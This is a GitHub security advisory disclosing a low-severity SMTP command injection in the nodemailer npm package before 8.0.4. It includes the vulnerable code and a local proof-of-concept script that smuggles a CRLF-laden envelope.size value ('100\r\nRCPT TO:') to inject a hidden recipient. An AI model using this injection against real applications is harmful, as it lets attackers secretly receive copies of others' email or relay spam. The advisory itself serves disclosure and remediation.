GitHub Advisoryadvisory · npm
GHSA-c7w3-x93f-qmm8 Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter
LOW
Official page ↗
- Ecosystem
- npm
- Packages
- nodemailer
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-93
- Reviewed
- 2026-03-26
Affected packages
• npm nodemailer: < 8.0.4 → fixed in 8.0.4
Description
Summary
When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.
Details
In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:
```javascript
if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
args.push('SIZE=' + this._envelope.size);
}
```
This contrasts with other envelope parameters in the same function that ARE properly sanitized:
• Addresses (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127
• DSN parameters (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183
The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:
```javascript
const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
if (!standardFields.includes(key)) {
this._envelope[key] = envelope[key];
}
});
```
Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.
Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`.
While this limits the attack surface, applications that expose envelope configuration to users are affected.
PoC
ave the following as `poc.js` and run with `node poc.js`:
```javascript
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: '[email protected]',
to: ['[email protected]'],
size: '100\r\nRCPT TO:',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM: SIZE=100');
console.log(' C: RCPT TO: ');
server.close();
transporter.close();
});
});
```
Expected output:
```
SMTP server on port 12345
Sending email with injected RCPT TO...
C: EHLO [127.0.0.1]
C: MAIL FROM: SIZE=100
C: RCPT TO:
C: RCPT TO:
C: DATA
...
C: .
C: QUIT
```
The `RCPT TO:` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.
Impact
This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:
• Silently add hidden recipients to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport
• Inject arbitrary SMTP commands (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)
• Leverage the sending organization's SMTP server reputation for spam or phishing delivery
The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.
Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.
Related
Weakness · CWE (1)
- CWE-93 Improper Neutralization of CRLF Sequences weakness